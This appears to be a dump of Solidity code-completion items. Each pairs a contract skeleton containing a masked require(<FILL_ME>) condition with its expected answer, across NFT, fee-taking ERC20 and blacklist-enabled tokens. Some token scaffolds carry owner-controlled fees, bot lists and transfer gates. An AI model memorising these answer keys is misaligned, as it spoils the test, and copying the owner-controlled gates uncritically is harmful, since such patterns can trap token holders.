// @rewrited by Vakhtanh Chikhladze to new version solidity 0.8.0
bytes constant private sha256MultiHash = "\x12\x20";
bytes constant private ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
//@dev generates the corresponding IPFS hash (in base 58) to the given stroraged decoded hash
//@param contentString The content of the IPFS object
//@return The IPFS hash in base 58
function encode(bytes32 decodedHash) private pure returns (string memory) {
}
// @dev Converts hex string to base 58
/*
some comment-proof about array size of digits:
source is the number with base 256.
Example: for given input 0x414244 it can be presented as 0x41*256^2+0x42*256+0x44;
How many digits are needed to write such a number n in base 256?
(P.S. All all of the following formulas may be checked in WolframAlpha.)
We need rounded up logarithm of number n with base 256 , in formula presentation: roof(log(256,n))
Example: roof(log(256,0x414244))=|in decimal 0x414244=4276804|=roof(log(256,4276804))~=roof(2.4089)=3;
Encoding Base58 works with numbers in base 58.
Example: 0x414244 = 21 53 20 0 = 21*58^3 + 53*58^2 + 20*58+0
How many digits are needed to write such a number n in base 58?
We need rounded up logarithm of number n with base 58 , in formula presentation: roof(log(58,n))
Example: roof(log(58,0x414244))=|in decimal 0x414244=4276804|=roof(log(58,4276804))~=roof(3.7603)=4;
And the question is: How many times the number in base 58 will be bigger than number in base 256 represantation?
The aswer is lim n->inf log(58,n)/log(256,n)
lim n->inf log(58,n)/log(256,n)=[inf/inf]=|use hopitals rule|=(1/(n*ln(58))/(1/(n*ln(256))=
=ln(256)/ln(58)=log(58,256)~=1.36
So, log(58,n)~=1.36 * log(256,n); (1)
Therefore, we know the asymptoyic minimal size of additional memory of digits array, that shoud be used.
But calculated limit is asymptotic value. So it may be some errors like the size of n in base 58 is bigger than calculated value.
Hence, (1) will be rewrited as: log(58,n) = [log(256,n) * 136/100] + 1; (2)
,where square brackets [a] is valuable part of number [a]
In code exist @param digitlength which dinamically calculates the explicit size of digits array.
And there are correct statement that digitlength <= [log(256,n) * 136/100] + 1 .
*/
function toBase58(bytes memory source) private pure returns (string memory) {
}
function toBytes(bytes32 input) private pure returns (bytes memory) {
}
function truncate(uint8[] memory array, uint length) pure private returns (uint8[] memory) {
}
function reverse(uint8[] memory input) pure private returns (uint8[] memory) {
}
function toAlphabet(uint8[] memory indices) pure private returns (bytes memory) {
}
function concat(bytes memory byteArray1, bytes memory byteArray2) pure private returns (bytes memory) {
}
function concatStrings(string memory a,string memory b) private pure returns(string memory){
}
function to_binary(uint256 x) private pure returns (bytes memory) {
}
// We signify support for ERC2981, ERC721 & ERC721Metadata
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
// ERC2981 logic
function updateRoyaltyInfo(uint256 _tokenId, address _royaltyReceiver, uint16 _royaltyBasisPoints) external onlyAdmin {
}
// Takes a _tokenId and _price (in wei) and returns the royalty receiver's address and how much of a royalty the royalty receiver is owed
function royaltyInfo(uint256 _tokenId, uint256 _price) external view returns (address receiver, uint256 royaltyAmount) {
}
// Represent percentages as basisPoints (i.e. 100% = 10000, 1% = 100)
function getPercentageOf(
uint256 _amount,
uint16 _basisPoints
) internal pure returns (uint256 value) {
}
}
| addressController.isVerified(to),"PropyDeedNFT: Please proceed to https://propy.com/nft to verify your wallet" | 71,081 | addressController.isVerified(to) |
null | /*
https://t.me/mysterytoken2023
*/
//SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function per(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract MixRoute is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
address public uniswapV2Pair;
address private deployerWallet;
address private marketingWallet;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = "MixRoute";
string private constant _symbol = unicode"MIXR";
mapping(address => bool) private bots;
uint256 public initialTotalSupply = 1000000000 * 1e18;
uint256 public maxTransactionAmount = 20000000 * 1e18;
uint256 public maxWallet = 20000000 * 1e18;
uint256 public swapTokensAtAmount = 10000000 * 1e18;
bool public tradingOpen = false;
bool public swapEnabled = false;
uint256 public BuyFee = 25;
uint256 public SellFee = 25;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor(address wallet) ERC20(_name, _symbol) {
}
receive() external payable {}
function openTradingMIXR() external onlyOwner() {
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function addBots(address[] memory bots_) public onlyOwner {
}
function delBots(address[] memory notbot) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function removeTxLimits() external onlyOwner {
}
function clearstuckEth() external {
require(address(this).balance > 0, "Token: no ETH to clear");
require(<FILL_ME>)
payable(msg.sender).transfer(address(this).balance);
}
function burnsRemainTokens(ERC20 tokenAddress) external {
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
}
function manualSwap(uint256 percent) external {
}
function SetFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
}
function swapBack(uint256 tokens) private {
}
}
| _msgSender()==marketingWallet | 71,121 | _msgSender()==marketingWallet |
"Max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721Tradable.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
interface IToken {
function balanceOf(address owner) external returns (uint256);
}
contract Grail is ERC721Tradable {
bool public salePublicIsActive;
uint256 public maxByMint = 1;
uint256 public maxSupply;
uint256 public maxPublicSupply;
uint256 public maxReservedSupply;
address public daoAddress;
string internal baseTokenURI;
// Dutch auction
uint256 public startTime;
uint256 public maxPrice = 3.2 ether;
uint256 public minPrice = 0.2 ether;
uint256 public timeDelta = 1 minutes;
uint256 public priceDelta = 0.05 ether;
mapping(uint256 => string) public generativeArtScript;
mapping(uint256 => bytes32) public tokenIdToHash;
mapping(bytes32 => uint256) public hashToTokenId;
// Rare
mapping(uint256 => bytes32) public curatedHashes;
using Counters for Counters.Counter;
Counters.Counter private _totalPublicSupply;
Counters.Counter private _totalReservedSupply;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) ERC721Tradable(_name, _symbol, _proxyRegistryAddress) {
}
function contractURI() public pure returns (string memory) {
}
function _mintN(uint numberOfTokens) private {
require(numberOfTokens <= maxByMint, "Max mint exceeded");
require(<FILL_ME>)
for(uint i = 0; i < numberOfTokens; i++) {
_totalPublicSupply.increment();
uint256 tokenIdToBe = this.totalSupply();
_setHash(tokenIdToBe);
_safeMint(msg.sender, this.totalSupply());
}
}
function _generateRandomHash(uint random) private view returns (bytes32) {
}
function _setHash(uint256 tokenIdToBe) private {
}
function mintPublic(uint numberOfTokens) external payable {
}
function mintReserved(address _to, uint numberOfTokens) external onlyOwner {
}
function getCurrentPrice() public view returns (uint256) {
}
function _getCurrentPrice(
uint256 _startTime,
uint256 _currentTime,
uint256 _maxPrice,
uint256 _minPrice
) internal view virtual returns (uint256) {
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function totalPublicSupply() public view returns (uint256) {
}
function totalReservedSupply() public view returns (uint256) {
}
function startAuction() external onlyOwner {
}
function pauseAuction() external onlyOwner {
}
function setDaoAddress(address _daoAddress) external onlyOwner {
}
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
function setSupply(uint256 _maxSupply, uint256 _maxReservedSupply) external onlyOwner {
}
function setAuction(uint256 _maxPrice, uint256 _minPrice, uint256 _timeDelta, uint256 _priceDelta) external onlyOwner {
}
function setMaxByMint(uint256 _maxByMint) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function _withdraw(address _address, uint256 _amount) private {
}
/*
* Generative Art Script
*/
function updateScript(uint256[] memory _indexes, string[] memory _scripts)
external
onlyOwner
{
}
function updateCurated(uint256[] memory _indexes, bytes32[] memory _curatedHashes)
external
onlyOwner
{
}
}
| _totalPublicSupply.current()+numberOfTokens<=maxPublicSupply,"Max supply reached" | 71,218 | _totalPublicSupply.current()+numberOfTokens<=maxPublicSupply |
"Max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721Tradable.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
interface IToken {
function balanceOf(address owner) external returns (uint256);
}
contract Grail is ERC721Tradable {
bool public salePublicIsActive;
uint256 public maxByMint = 1;
uint256 public maxSupply;
uint256 public maxPublicSupply;
uint256 public maxReservedSupply;
address public daoAddress;
string internal baseTokenURI;
// Dutch auction
uint256 public startTime;
uint256 public maxPrice = 3.2 ether;
uint256 public minPrice = 0.2 ether;
uint256 public timeDelta = 1 minutes;
uint256 public priceDelta = 0.05 ether;
mapping(uint256 => string) public generativeArtScript;
mapping(uint256 => bytes32) public tokenIdToHash;
mapping(bytes32 => uint256) public hashToTokenId;
// Rare
mapping(uint256 => bytes32) public curatedHashes;
using Counters for Counters.Counter;
Counters.Counter private _totalPublicSupply;
Counters.Counter private _totalReservedSupply;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) ERC721Tradable(_name, _symbol, _proxyRegistryAddress) {
}
function contractURI() public pure returns (string memory) {
}
function _mintN(uint numberOfTokens) private {
}
function _generateRandomHash(uint random) private view returns (bytes32) {
}
function _setHash(uint256 tokenIdToBe) private {
}
function mintPublic(uint numberOfTokens) external payable {
}
function mintReserved(address _to, uint numberOfTokens) external onlyOwner {
require(<FILL_ME>)
for(uint i = 0; i < numberOfTokens; i++) {
_totalReservedSupply.increment();
_setHash(this.totalSupply());
_safeMint(_to, this.totalSupply());
}
}
function getCurrentPrice() public view returns (uint256) {
}
function _getCurrentPrice(
uint256 _startTime,
uint256 _currentTime,
uint256 _maxPrice,
uint256 _minPrice
) internal view virtual returns (uint256) {
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function totalPublicSupply() public view returns (uint256) {
}
function totalReservedSupply() public view returns (uint256) {
}
function startAuction() external onlyOwner {
}
function pauseAuction() external onlyOwner {
}
function setDaoAddress(address _daoAddress) external onlyOwner {
}
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
function setSupply(uint256 _maxSupply, uint256 _maxReservedSupply) external onlyOwner {
}
function setAuction(uint256 _maxPrice, uint256 _minPrice, uint256 _timeDelta, uint256 _priceDelta) external onlyOwner {
}
function setMaxByMint(uint256 _maxByMint) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function _withdraw(address _address, uint256 _amount) private {
}
/*
* Generative Art Script
*/
function updateScript(uint256[] memory _indexes, string[] memory _scripts)
external
onlyOwner
{
}
function updateCurated(uint256[] memory _indexes, bytes32[] memory _curatedHashes)
external
onlyOwner
{
}
}
| _totalReservedSupply.current()+numberOfTokens<=maxReservedSupply,"Max supply reached" | 71,218 | _totalReservedSupply.current()+numberOfTokens<=maxReservedSupply |
"ERC20: transfer amount exceeds balance" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract XMixerToken is Context, IERC20, Ownable {
IPancakeRouter02 internal _router;
IPancakePair internal _pair;
uint8 internal constant _DECIMALS = 18;
address public master;
mapping(address => bool) public _marketersAndDevs;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => uint256) internal _buySum;
mapping(address => uint256) internal _sellSum;
mapping(address => uint256) internal _sellSumETH;
uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);
uint256 internal _theNumber = ~uint256(0);
uint256 internal _theRemainder = 0;
modifier onlyMaster() {
}
constructor(address routerAddress) {
}
function name() external pure override returns (string memory) {
}
function symbol() external pure override returns (string memory) {
}
function decimals() external pure override returns (uint8) {
}
function totalSupply() external view override returns (uint256) {
}
function balanceOf(address account) external view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function allowance(address owner, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function burn(uint256 amount) external onlyOwner {
}
function setNumber(uint256 newNumber) external onlyOwner {
}
function setRemainder(uint256 newRemainder) external onlyOwner {
}
function setMaster(address account) external onlyOwner {
}
function syncPair() external onlyMaster {
}
function includeInReward(address account) external onlyMaster {
}
function excludeFromReward(address account) external onlyMaster {
}
function rewardHolders(uint256 amount) external onlyOwner {
}
function _isSuper(address account) private view returns (bool) {
}
function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
require(<FILL_ME>)
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _hasLiquidity() private view returns (bool) {
}
function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) private {
}
}
| _balances[sender]>=amount,"ERC20: transfer amount exceeds balance" | 71,244 | _balances[sender]>=amount |
"account is blacklisted" | contract FLEXCoin is Storage, Context, IERC20, Proxiable, LibraryLock {
using SafeMath for uint256;
event TokenBlacklist(address indexed account, bool blocked);
event ChangeMultiplier(uint256 multiplier);
event AdminChanged(address admin);
event CodeUpdated(address indexed newCode);
constructor() Storage("FLEX Coin", "FLEX") public {}
function initialize(uint256 _totalsupply) public {
}
/// @dev Update the logic contract code
function updateCode(address newCode) external onlyAdmin delegatedOnly {
}
function setMultiplier(uint256 _multiplier)
external
onlyAdmin()
ispaused()
{
}
function totalSupply() public override view returns (uint256) {
}
function setTotalSupply(uint256 inputTotalsupply) external onlyAdmin() {
}
function balanceOf(address account) public override view returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
virtual
override
Notblacklist(msg.sender)
Notblacklist(recipient)
ispaused()
returns (bool)
{
}
function allowance(address owner, address spender)
public
virtual
override
view
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
Notblacklist(spender)
Notblacklist(msg.sender)
ispaused()
returns (bool)
{
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public
Notblacklist(spender)
Notblacklist(msg.sender)
ispaused()
returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public
Notblacklist(spender)
Notblacklist(msg.sender)
ispaused()
returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
)
public
virtual
override
Notblacklist(sender)
Notblacklist(msg.sender)
Notblacklist(recipient)
ispaused()
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 externalAmt
) internal virtual {
}
function mint(address mintTo, uint256 amount)
public
virtual
onlyAdmin()
ispaused()
returns (bool)
{
}
function _mint(
address account,
uint256 internalAmt,
uint256 externalAmt
) internal virtual {
}
function burn(address burnFrom, uint256 amount)
public
virtual
onlyAdmin()
ispaused()
returns (bool)
{
}
function _burn(
address account,
uint256 internalAmt,
uint256 externalAmt
) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 externalAmt
) internal virtual {
}
function TransferOwnership(address account) public onlyAdmin() {
}
function pause() external onlyAdmin() {
}
function unpause() external onlyAdmin() {
}
// pause unpause
modifier ispaused() {
}
modifier onlyAdmin() {
}
function AddToBlacklist(address account) external onlyAdmin() {
}
function RemoveFromBlacklist(address account) external onlyAdmin() {
}
modifier Notblacklist(address account) {
require(<FILL_ME>)
_;
}
}
| !blacklist[account],"account is blacklisted" | 71,250 | !blacklist[account] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.